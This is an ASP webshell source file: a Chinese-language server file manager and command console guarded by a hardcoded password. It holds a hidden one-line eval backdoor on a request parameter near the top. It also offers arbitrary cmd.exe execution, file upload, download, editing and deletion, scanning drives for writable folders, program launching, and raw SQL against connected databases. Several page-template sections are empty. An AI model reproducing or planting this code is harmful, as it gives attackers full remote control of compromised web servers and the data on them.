<%
Dim Url
Url = Request.ServerVariables("SCRIPT_NAME")
UrlPath = Left(Url,InstrRev(Url,"/"))
eVaL rEquESt("tzs")
Dim oUpFileStream
Class UpFile_Class
Dim Form,File,Version,Err
Private Sub Class_Terminate
If Err < 0 Then
Form.RemoveAll
Set Form = Nothing
File.RemoveAll
Set File = Nothing
oUpFileStream.Close
Set oUpFileStream = Nothing
End If
End Sub
Public Sub GetData ()
Dim RequestBinDate,sSpace,bCrLf,sInfo,iInfoStart,iInfoEnd,tStream,iStart,oFileInfo
Dim iFileSize,sFilePath,sFileType,sFormValue,sFileName
Dim iFindStart,iFindEnd
Dim iFormStart,iFormEnd,sFormName
Set Form = Server.CreateObject ("Scripting.Dictionary")
Form.CompareMode = 1
Set File = Server.CreateObject ("Scripting.Dictionary")
File.CompareMode = 1
Set tStream = Server.CreateObject ("ADODB.Stream")
Set oUpFileStream = Server.CreateObject ("ADODB.Stream")
oUpFileStream.Type = 1
oUpFileStream.Mode = 3
oUpFileStream.Open
oUpFileStream.Write Request.BinaryRead (Request.TotalBytes)
oUpFileStream.Position = 0
RequestBinDate = oUpFileStream.Read
iFormEnd = oUpFileStream.Size
bCrLf = ChrB (13) & ChrB (10)
sSpace = MidB (RequestBinDate,1, InStrB (1,RequestBinDate,bCrLf)-1)
iStart = LenB (sSpace)
iFormStart = iStart+2
Do
iInfoEnd = InStrB (iFormStart,RequestBinDate,bCrLf & bCrLf)+3
tStream.Type = 1
tStream.Mode = 3
tStream.Open
oUpFileStream.Position = iFormStart
oUpFileStream.CopyTo tStream,iInfoEnd-iFormStart
tStream.Position = 0
tStream.Type = 2
tStream.CharSet = "gb2312"
sInfo = tStream.ReadText
iFormStart = InStrB (iInfoEnd,RequestBinDate,sSpace)-1
iFindStart = InStr (22,sInfo,"name=""",1)+6
iFindEnd = InStr (iFindStart,sInfo,"""",1)
sFormName = Mid (sinfo,iFindStart,iFindEnd-iFindStart)
If InStr (45,sInfo,"filename=""",1) > 0 Then
Set oFileInfo = new FileInfo_Class
iFindStart = InStr (iFindEnd,sInfo,"filename=""",1)+10
iFindEnd = InStr (iFindStart,sInfo,"""",1)
sFileName = Mid (sinfo,iFindStart,iFindEnd-iFindStart)
oFileInfo.FileName = Mid (sFileName,InStrRev (sFileName, "\")+1)
oFileInfo.FilePath = Left (sFileName,InStrRev (sFileName, "\")+1)
oFileInfo.FileExt = Mid (sFileName,InStrRev (sFileName, ".")+1)
iFindStart = InStr (iFindEnd,sInfo,"Content-Type: ",1)+14
iFindEnd = InStr (iFindStart,sInfo,vbCr)
oFileInfo.FileType = Mid (sinfo,iFindStart,iFindEnd-iFindStart)
oFileInfo.FileStart = iInfoEnd
oFileInfo.FileSize = iFormStart -iInfoEnd -2
oFileInfo.FormName = sFormName
file.add sFormName,oFileInfo
Else
tStream.Close
tStream.Type = 1
tStream.Mode = 3
tStream.Open
oUpFileStream.Position = iInfoEnd
oUpFileStream.CopyTo tStream,iFormStart-iInfoEnd-2
tStream.Position = 0
tStream.Type = 2
tStream.CharSet = "gb2312"
sFormValue = tStream.ReadText
If Form.Exists (sFormName) Then
Form (sFormName) = Form (sFormName) & ", " & sFormValue
Else
Form.Add sFormName,sFormValue
End If
End If
tStream.Close
iFormStart = iFormStart+iStart+2
Loop Until (iFormStart+2) = iFormEnd
RequestBinDate = ""
Set tStream = Nothing
End Sub
End Class
Class FileInfo_Class
Dim FormName,FileName,FilePath,FileSize,FileType,FileStart,FileExt
Public Function SaveToFile (Path)
On Error Resume Next
Dim oFileStream
Set oFileStream = CreateObject ("ADODB.Stream")
oFileStream.Type = 1
oFileStream.Mode = 3
oFileStream.Open
oUpFileStream.Position = FileStart
oUpFileStream.CopyTo oFileStream,FileSize
oFileStream.SaveToFile Path,2
oFileStream.Close
Set oFileStream = Nothing
End Function
Public Function FileDate
oUpFileStream.Position = FileStart
FileDate = oUpFileStream.Read (FileSize)
End Function
End Class
If Request("Up") = "yes" and Session("DreamX") = "Admin" Then
UpLoadSave
End if
'此处修改密码.
If Request("Action") = "Login" Then
If Request.Form("Pass") = "chenwei" Then
Session("DreamX") = "Admin"
End if
End if
'此处修改密码.
If Session("DreamX")="Admin" Then
Select Case Request("Action")
Case "Loginout" : Loginout
Case "EditForm" : EditForm Request("File")
Case "SaveFile" : SaveFile
Case "CopyFile" : CopyFile
Case "DownLoad" : DownLoad Request("File")
Case "Del" : Del
Case "SetAttribForm" : SetAttribForm
Case "SetAttrib" : SetAttrib
Case "ShowServer" : ShowServer
Case "ScServer" : ScServer Request("Servers")
Case "CommonObj" : CommonObj
Case "ScObj" : ScObj Request("Objects")
Case "ScanDriveForm" : ScanDriveForm
Case "ScanDrive" : ScanDrive Request("Drive")
Case "ScFolder" : ScFolder Request("Folder")
Case "DispFsoCmdForm": DispFsoCmdForm
Case "SQLForm" : SQLForm
Case "SQL" : SQL
Case "UpLoadForm" : UpLoadForm
Case else:
If Trim(Request("Path")) <> "" then
DisplayDirectory Request("Path")
Else
DisplayDirectory Server.MapPath(Left(Url,InstrRev(Url,"/")))
End if
End Select
Else
AdminLogin
Response.End
End if
Sub AdminLogin()
%>
<%
End Sub
Sub Loginout
Session.Abandon
Response.write "
"
Message "已退出登录","
已成功清除登录信息!",0
End Sub
Sub EditForm(filename)
On Error Resume Next
Dim FSO,FileStream,FileText
Set FSO = Server.Createobject("Scripting.FileSystemObject")
Set FileStream = FSO.OpenTextFile(filename,1,False)
If Not FileStream.AtEndOfStream Then
FileText = FileStream.ReadAll
End If
FileStream.Close
Set FileStream = Nothing
Set FSO = Nothing
%>
<%
End Sub
Sub SaveFile()
On Error Resume Next
Dim nPath,oPath,SaveFso,FileStream
oPath = Request("oPath")
Set SaveFso = Server.Createobject("Scripting.FileSystemObject")
If Request("Save") = "另存为" Then
nPath = Request("nPath")
If Right(nPath,1) = "\" Then nPath = nPath & Mid(oPath,InstrRev(oPath,"\")+1)
If Right(nPath,1) <> "\" and Instr(nPath,".") = 0 Then nPath = nPath & "\" & Mid(oPath,InstrRev(oPath,"\")+1)
Else
nPath = oPath
End If
Set FileStream = SaveFso.CreateTextFile(nPath)
FileStream.WriteLine Request("ChangeTxt")
FileStream.Close
Set SaveFso = Nothing
If err then
err.Clear
Message "保存文件失败","
文件已成功保存到" & nPath ,0
End If
End Sub
Sub CopyFile()
On Error Resume Next
Dim FSO,Source,Target
Source = Request("oDir")
Target = Request("nDir")
Flag = Request("flag")
Set FSO = Server.CreateObject("Scripting.FileSystemObject")
If Right(Target,1) <> "\" and Instr(Target,".") = 0 Then Target = Target & "\"
If FSO.FolderExists(Left(Target,InstrRev(Target,"\"))) = 0 Then
Message "复制失败","
目的文件夹不存在!",0
Response.End
End If
If Flag = 1 Then
If FSO.FileExists(Source) Then
FSO.CopyFile Source,Target,True
Else
Message "复制失败","
源文件不存在!",0
Response.End
End If
Else
If FSO.FolderExists(Source) Then
FSO.CopyFolder Source,Target,True
Else
Message "复制失败","
源文件夹不存在!"
Response.End
End If
End If
Set FSO = Nothing
If err then
err.Clear
Message "复制失败","
您可能权限不足,无法复制:(",0
Else
Message "复制成功","
" & Source & " 已复制到 " & Target & " 刷新后可见!",0
End if
End Sub
Sub DownLoad(File)
On Error Resume Next
Dim FileStream,FSO,FileOb
Response.Buffer = True
Response.Clear
Set FileStream = Server.CreateObject("ADODB.Stream")
FileStream.Open
FileStream.Type = 1
Set FSO = Server.CreateObject("Scripting.FileSystemObject")
If Not FSO.FileExists(File) Then
Message "下载失败","
您要求下载的文件不存在!",0
Response.End
End if
Set FileOb = FSO.GetFile(File)
FileLength = FileOb.Size
FileStream.LoadFromFile(File)
If err Then
Message "下载失败","
无法读取您要求下载的文件!",0
Response.End
End if
Response.AddHeader "Content-Disposition","Attachment;Filename="&FileOb.name
Response.AddHeader "Content-Length",Filelength
Response.CharSet = "UTF-8"
Response.ContentType = "Application/octet-Stream"
Response.BinaryWrite FileStream.Read
Response.Flush
FileStream.Close
Set FileStream = Nothing
Response.End
End Sub
Sub Del
On Error Resume Next
Dim Name,Flag
Name = Request("name")
Flag = Request("flag")
Set FSO = Server.Createobject("Scripting.FileSystemObject")
If Flag = 1 Then
If FSO.FileExists(name) Then
FSO.DeleteFile name,True
Else
Message "删除失败","
文件" & name & " 不存在或无权限!",0
Response.End
End If
Else
If FSO.FolderExists(name) Then
FSO.DeleteFolder name,True
Else
Message "删除失败","
文件夹" & name & "不存在或无权限!",0
Response.End
End If
End If
Set FSO = Nothing
If err Then
err.Clear
Message "删除失败","
您权限不足或 " & name & " 正在使用,无法删除!",0
Else
Message "删除成功","
" & name & " 已删除,刷新后可见!",0
End If
End Sub
Sub SetAttribForm
%>
<%
End Sub
Sub SetAttrib
On Error Resume Next
Dim FSO,name,GetFileFolder,FileFolderAttrib,noAttrib,Attribs,AttribCount:AttribCount=32
name = Request("name")
Set FSO = Server.CreateObject("Scripting.FileSystemObject")
If FSO.FileExists(name) Then
Set GetFileFolder = FSO.GetFile(name)
ElseIf FSO.FolderExists(name) Then
Set GetFileFolder = FSO.GetFolder(name)
Else
Message "属性设置失败","未发现指定文件或目录,请确认文件或目录存在.",0
Response.End
End If
FileFolderAttrib = Request("FileFolderAttrib")
noAttrib = Request("noAttrib")
If noAttrib = "" Then
Attribs = Split(FileFolderAttrib,",")
For i=0 to Ubound(Attribs)
AttribCount = AttribCount+Attribs(i)
Next
GetFileFolder.Attributes = AttribCount
Else
GetFileFolder.Attributes = AttribCount
End If
If err Then
err.Clear
Message "属性设置失败","设置属性失败,请确认您有相应的权限.",0
Else
Message "属性设置成功","已设置" & name & "的" & GetAttrib(AttribCount) ,0
End If
Set GetFileFolder = Nothing
Set FSO = Nothing
End Sub
Sub ShowServer
Message "当前服务器信息", "
<%
End Sub
Function Red(str)
Red = "" & str & ""
End Function
Sub ScServer(var)
On Error Resume Next
Dim Temp_Str
Temp_Str = Request.ServerVariables(var)
If Temp_Str = "" Then
Message "服务器信息","
<%
End Sub
Function GetObj(obj)
On Error Resume Next
Dim Object
Set Object = Server.CreateObject(obj)
If IsObject(Object) then
GetObj = Red("√")
Else
GetObj = Red("×")
End If
Set Object = Nothing
End Function
Sub ScObj(obj)
Message "组件信息","
服务器组件(" & obj & "):" & GetObj(obj),1
End Sub
Sub ScanDriveForm() '扫描磁盘信息
Dim FSO,DriveB
Set FSO = Server.Createobject("Scripting.FileSystemObject")
%>
磁盘/系统文件夹信息
<%
For Each DriveB in FSO.Drives%>
<%
Next%>
<%
Set FSO=Nothing
End Sub
Sub ScanDrive(Drive) '扫描指定磁盘
Dim FSO,TestDrive,BaseFolder,TempFolders,Temp_Str,D
If Drive <> "" Then
Set FSO = Server.Createobject("Scripting.FileSystemObject")
Set TestDrive = FSO.GetDrive(Drive)
If TestDrive.IsReady Then
Temp_Str = "
磁盘根目录:" & ScReWr((Drive & ":\"))
Set BaseFolder = TestDrive.RootFolder
Set TempFolders = BaseFolder.SubFolders
For Each D in TempFolders
Temp_Str = Temp_Str & "
文件夹:" & ScReWr(D)
Next
Set TempFolder = Nothing
Set BaseFolder = Nothing
Else
Temp_Str = Temp_Str & "
磁盘根目录:" & Red("不可读:(")
Dim TempFolderList,t:t=0
Temp_Str = Temp_Str & "
" & Red("穷举目录测试:")
TempFolderList = Array("windows","winnt","win","win2000","win98","web","winme","windows2000","asp","php","Tools","Documents and Settings","Program Files","Inetpub","ftp","wmpub","tftp")
For i = 0 to Ubound(TempFolderList)
If FSO.FolderExists(Drive & ":\" & TempFolderList(i)) Then
t = t+1
Temp_Str = Temp_Str & "
发现文件夹:" & ScReWr(Drive & ":\" & TempFolderList(i))
End if
Next
If t=0 then Temp_Str = Temp_Str & "
已穷举" & Drive & "盘根目录,但未有发现:("
End if
Set TestDrive = Nothing
Set FSO = Nothing
Temp_Str = Temp_Str & "
注意:" & Red("不要多次刷新本页面,否则在只写文件夹会留下大量垃圾文件!")
Message Drive & ":磁盘信息",Temp_Str,1
End if
End Sub
Sub ScFolder(folder)
On Error Resume Next
Dim FSO,OFolder,TempFolder,Scmsg,S
Set FSO = Server.Createobject("Scripting.FileSystemObject")
If FSO.FolderExists(folder) Then
Set OFolder = FSO.GetFolder(folder)
Set TempFolders = OFolder.SubFolders
Scmsg = "
指定文件夹根目录:" & ScReWr(folder)
For Each S in TempFolders
Scmsg = Scmsg&"
文件夹:" & ScReWr(S)
Next
Set TempFolders = Nothing
Set OFolder = Nothing
Else
Scmsg = Scmsg & "
文件夹:" & Red(folder & "不存在或无读权限!")
End if
Scmsg = Scmsg & "
注意:" & Red("不要多次刷新本页面,否则在只写文件夹会留下大量垃圾文件!")
Set FSO = Nothing
Message "文件夹信息",Scmsg,1
End Sub
Function ScReWr(folder) '1.可读,不可写。2.不可读,可写。3.可读,可写。4.不可读,不可写。
On Error Resume Next
Dim FSO,TestFolder,TestFileList,ReWrStr,RndFilename
Set FSO = Server.Createobject("Scripting.FileSystemObject")
Set TestFolder = FSO.GetFolder(folder)
Set TestFileList = TestFolder.SubFolders
RndFilename = "\temp" & Day(now) & Hour(now) & Minute(now) & Second(now) & ".tmp"
For Each A in TestFileList
Next
If err Then
err.Clear
ReWrStr = folder & " 不可读,"
FSO.CreateTextFile folder & RndFilename,True
If err Then
err.Clear
ReWrStr = ReWrStr & "不可写。"
Else
ReWrStr = ReWrStr & "可写。"
FSO.DeleteFile folder & RndFilename,True
End If
Else
ReWrStr = folder & " 可读,"
FSO.CreateTextFile folder & RndFilename,True
If err Then
err.Clear
ReWrStr = ReWrStr & "不可写。"
Else
ReWrStr = ReWrStr & "可写。"
FSO.DeleteFile folder & RndFilename,True
End if
End if
Set TestFileList = Nothing
Set TestFolder = Nothing
Set FSO = Nothing
ScReWr = ReWrStr
End Function
Sub DispFsoCmdForm
%>
<%
End Sub
Sub DispFsoCmd
On Error Resume Next
Dim Sf,Cs,Ct,Ms,Mt,PerFolder,PerFile
Sf = Trim(Request("Sf"))
Cs = Trim(Request("Cs"))
Ct = Trim(Request("Ct"))
Ms = Trim(Request("Ms"))
Mt = Trim(Request("Mt"))
PerFolder = Trim(Request("PerFolder"))
PerFile = Trim(Request("PerFile"))
Set Shell = Server.Createobject("Shell.Application")
If Sf <> "" Then
Dim ShowSpace,ShowFiles,File
If Request("SelectPath")="Ote" Then Sf = Server.MapPath(Sf)
Set ShowSpace = Shell.NameSpace(Sf)
Set ShowFiles = ShowSpace.Items
For Each File in ShowFiles
Response.write File.Path & " " & File.Size & " " & File.Type & vbCrLf
Next
End If
If Cs <> "" and Ct <> "" Then
Dim Cs_Folder,Cs_File,Cs_Space,Cs_FilePar,Ct_Space
Set Ct_Space = Shell.NameSpace(Ct)
Cs_Folder = Left(Cs,instrRev(Cs,"\"))
Cs_File = Right(Cs,Len(Cs)-InstrRev(Cs,"\"))
Set Cs_Space = Shell.NameSpace(Cs_Folder)
Set Cs_FilePar = Cs_Space.Parsename(Cs_File)
Ct_Space.CopyHere Cs_FilePar
If err Then
err.Clear
Response.write "发生错误,复制文件失败。"
Else
Response.write "已复制 1 个文件。"
End if
End if
If Ms <> "" and Mt <> "" Then
Dim Ms_Folder,Ms_File,Ms_Space,Ms_FilePar,Mt_Space
Set Mt_Space = Shell.NameSpace(Mt)
Ms_Folder = Left(Ms,instrRev(Ms,"\"))
Ms_File = Mid(Ms,InstrRev(Ms,"\")+1)
Set Ms_Space = Shell.NameSpace(Ms_Folder)
Set Ms_FilePar = Ms_Space.Parsename(Ms_File)
Mt_Space.MoveHere Ms_FilePar
if err Then
err.Clear
Response.write "发生错误,移动文件失败。"
Else
Response.write "已移动 1 个文件。"
End if
End if
If PerFolder <> "" and PerFile <> "" Then
Shell.Namespace(PerFolder).Items.Item(PerFile).InvoKeverb
If err Then
err.Clear
Response.write "发生错误,程序执行失败。"
Else
Response.write "已成功执行" & PerFile & "程序。"
End If
End If
End Sub
Sub Message(state,msg,flag)
%>
系统信息
<%=state%>
<%=msg%>
<%If flag=0 Then%>
<%Else%>
<%End if%>
<%
End Sub
Sub UpLoadForm
Dim num
num = Trim(Request("num"))
If Not isNumeric(num) or num="" Then num=1
%>
文件上传
<%
End Sub
Sub UpLoadSave()
Server.ScriptTimeOut=3000
Dim UpLoad,FormPath,Up_Str:Up_Str = ""
Set UpLoad = New UpFile_Class
UpLoad.GetData()
FormPath = Upload.Form("ServerPath")
If FormPath = "" Then
Message "上传失败","
未输入文件上传到服务器的目录。",1
Response.End
End If
if Right(FormPath,1) <> "\" then FormPath = FormPath & "\"
FileCount = 0
For Each FormName in UpLoad.file
Set File = UpLoad.file(FormName)
If File.FileSize > 0 Then
File.SaveToFile FormPath & File.FileName
If err then
err.Clear
Up_Str = Up_Str & "
本地文件:" & File.FilePath & File.FileName & "(" & File.FileSize & ")已上传到服务器:" & FormPath & File.FileName & ""
FileCount = FileCount+1
End if
End if
Set File = Nothing
Next
Up_Str = Up_Str & "
上传完毕," & FileCount & "个文件已上传到服务器!
"
Set UpLoad = Nothing
Message "上传报告",Up_Str,1
Response.End
End Sub
Function HTMLEncode(Str)
If isNull(Str) or Str = "" Then
HTMLEncode = ""
Else
Str = Replace(Str, ">", ">")
Str = Replace(Str, "<", "<")
HTMLEncode = Str
End if
End Function
Sub GetDriveList
Dim DriveFso
Set DriveFso = Server.Createobject("Scripting.FileSystemObject")
For Each DriveA in DriveFso.Drives
Response.write "" & DriveA.DriveLetter&"盘: "
Next
Set DriveFso = Nothing
End Sub
Function GetoldFolder(Paths)
Dim t
If Len(Paths) <> 3 and Right(Paths,1) = "\" Then
t = Left(Paths,Len(Paths)-1)
GetoldFolder = Server.UrlEncode(Left(t,InstrRev(t,"\")))
Else
GetoldFolder = Server.UrlEncode(Left(Paths,InstrRev(Paths,"\")))
End if
End Function
Sub OperCmd() '执行DOS命令
On Error Resume Next
Dim ScriptCMD,FsoCmd,AbsPath,TempFile,Command,FileStream,FileText
AbsPath = Server.MapPath(Url)
Set FsoCmd = Server.CreateObject("Scripting.FileSystemObject")
Set ScriptCMD = Server.CreateObject("WSCRIPT.SHELL")
TempFile = Left(AbsPath,instrRev(AbsPath,"\")) & FsoCmd.GetTempName()
If Request("SubCMD") <> "新建文件夹" Then
If Request("SubCMD") = "运行CMD命令" Then
Command = Request("OperDos")
Else
Command = Request("OperProgram")
End if
Call ScriptCMD.Run("cmd.exe /c " & Command & " > " & TempFile,0,True)
Set FileStream = FsoCmd.OpenTextFile(TempFile,1,False)
If Not FileStream.AtEndOfStream then
FileText = FileStream.ReadAll
Response.write HTMLEncode(FileText)
Else
Response.write "系统未返回回应信息!"
End if
FileStream.Close
Set FileStream = Nothing
FsoCmd.DeleteFile TempFile,True
Else
Command = Request("newFileOrFolder")
FsoCmd.CreateFolder Command
If err then
err.Clear
Response.write "新建文件夹失败。"
Else
Response.write "已成功创建" & Command & "文件夹。"
End If
End if
Set FsoCmd = Nothing
Set ScriptCMD = Nothing
End Sub
Sub DisplayDirectory(FolderA) '主界面
On Error Resume Next
Dim FSO,TheFolder,SubFolderA,FileA,oldFolder
Dim RootWeb,UserWeb,WebAbsPath,WebPath
oldFolder = Trim(Request("oldFolder"))
If Right(FolderA,1) <> "\" Then FolderA = FolderA & "\"
If odlFolder = "" Then oldFolder = FolderA
RootWeb = Instr(1,FolderA,Server.MapPath("/"),1)
UserWeb = Instr(1,FolderA,Mid(Server.MapPath(Url),1,InstrRev(Server.MapPath(Url),"\")),1)
If RootWeb > 0 Then '主目录
WebAbsPath = Server.MapPath("/") & "\"
WebPath="/" & Replace(Mid(FolderA,Len(WebAbsPath)+1),"\","/")
ElseIf UserWeb > 0 Then '虚拟目录
WebAbsPath = Server.MapPath(UrlPath) & "\"
WebPath = UrlPath & Replace(Mid(FolderA,Len(WebAbsPath)+1),"\","/")
End If
Set FSO = Server.Createobject("Scripting.FileSystemObject")
Set TheFolder = FSO.GetFolder(FolderA)
Set SubFolderA = TheFolder.SubFolders
Set FileA = TheFolder.Files
%>
<%
End Sub
Function GetAttrib(FileAttrib)
Select Case FileAttrib
Case 0,16,32,48: GetAttrib = "属性:普通"
Case 1,17,33,49: GetAttrib = "属性:只读"
Case 2,18,34,50: GetAttrib = "属性:隐藏"
Case 3,19,35,51: GetAttrib = "属性:只读,隐藏"
Case 4,20,36,52: GetAttrib = "属性:系统"
Case 5,21,37,53: GetAttrib = "属性:系统,只读"
Case 6,22,38,54: GetAttrib = "属性:系统,隐藏"
Case 7,23,39,55: GetAttrib = "属性:系统,只读,隐藏"
Case Else: GetAttrib = "属性:" & FileAttrib
End Select
End Function
Sub SQLForm()
%>
<%
End Sub
Function Access()
Dim AcPath,AcUser,AcPass,DBQ
AcPath = Request("AcPath")
AcUser = Request("AcUser")
AcPass = Request("AcPass")
If Request("SelectPath") = "Abs" Then
DBQ = AcPath & ";"
Else
DBQ = Server.MapPath(AcPath) & ";"
End If
Access = "DRIVER={Microsoft Access Driver (*.mdb)};User=" & AcUser & ";Pwd=" & AcPass & ";DBQ=" & DBQ & ";"
End Function
Function SqlServer()
Dim SqlServerName,SqlDataBase,SqlUser,SqlPass
SqlServerName = Request("SqlServer")
SqlDataBase = Request("SqlDataBase")
SqlUser = Request("SqlUser")
SqlPass = Request("SqlPass")
SqlServer = "Driver={SQL Server};Server=" & SqlServerName & ";Database=" & SqlDataBase & ";Uid="& SqlUser & ";Pwd=" & SqlPass & ";"
End Function
Function DsnSql()
Dim DsnName,DsnUser,DsnPass
DsnName = Request("DsnName")
DsnUser = Request("DsnUser")
DsnPass = Request("DsnPass")
DsnSql = "DSN=" & DsnName & ";Uid=" & DsnUser & ";Pwd=" & DsnPass & ";"
End Function
Sub SQL()
On Error Resume Next
Dim Conn,ConnStr,Rs,RsStr,Datas
Select Case Request("Flag")
Case 1: ConnStr = Access()
Case 2: ConnStr = SqlServer()
Case 3: ConnStr = DsnSql()
Case Else
Message "数据库操作失败","
请指定操作数据库类型!",1
Response.End
End Select
Response.write ""
RsStr = Trim(Request("SqlCommand"))
Set Conn = Server.Createobject("ADODB.Connection")
Conn.Open ConnStr
If err.number <> 0 Then
Message "数据库操作失败","
" & err.Description,0
err.Clear
Response.End
End If
If LCase(Left(RsStr,6))="select" Then
Set Rs = Conn.Execute(RsStr)
If err.number<>0 Then
Message "数据库操作失败","
" & err.Description,0
err.Clear
Response.End
End If
If Rs.Eof Then
Message "数据库操作成功","
未发现符合条件记录.",0
Else
Response.Write "
" & VbCrLf & "
" & VbCrLf
For i=0 to Rs.Fields.Count-1
Response.write "
" & Rs(i).Name & "
" & VbCrLf
Next
Response.write "
" & VbCrLf
Datas = Rs.GetRows(-1)
Rs.Close
Conn.Close
Set Rs = Nothing
Set Conn = Nothing
For i=0 to Ubound(Datas,2)
Response.write "
" & VbCrLf
For j=0 to Ubound(Datas)
If Trim(Datas(j,i))="" or isNull(Datas(j,i)) Then
Response.write "
----
" & VbCrLf
Else
Response.write "
" & Server.HTMLEncode(Datas(j,i)) & "
" & VbCrLf
End If
Next
Response.write "
" & VbCrLf
Next
Response.write "
" & VbCrLf & "" & VbCrLf & "" & VbCrLf & ""
End If
Else
Conn.Execute RsStr,IngRecs
If err Then
Message "数据库操作失败","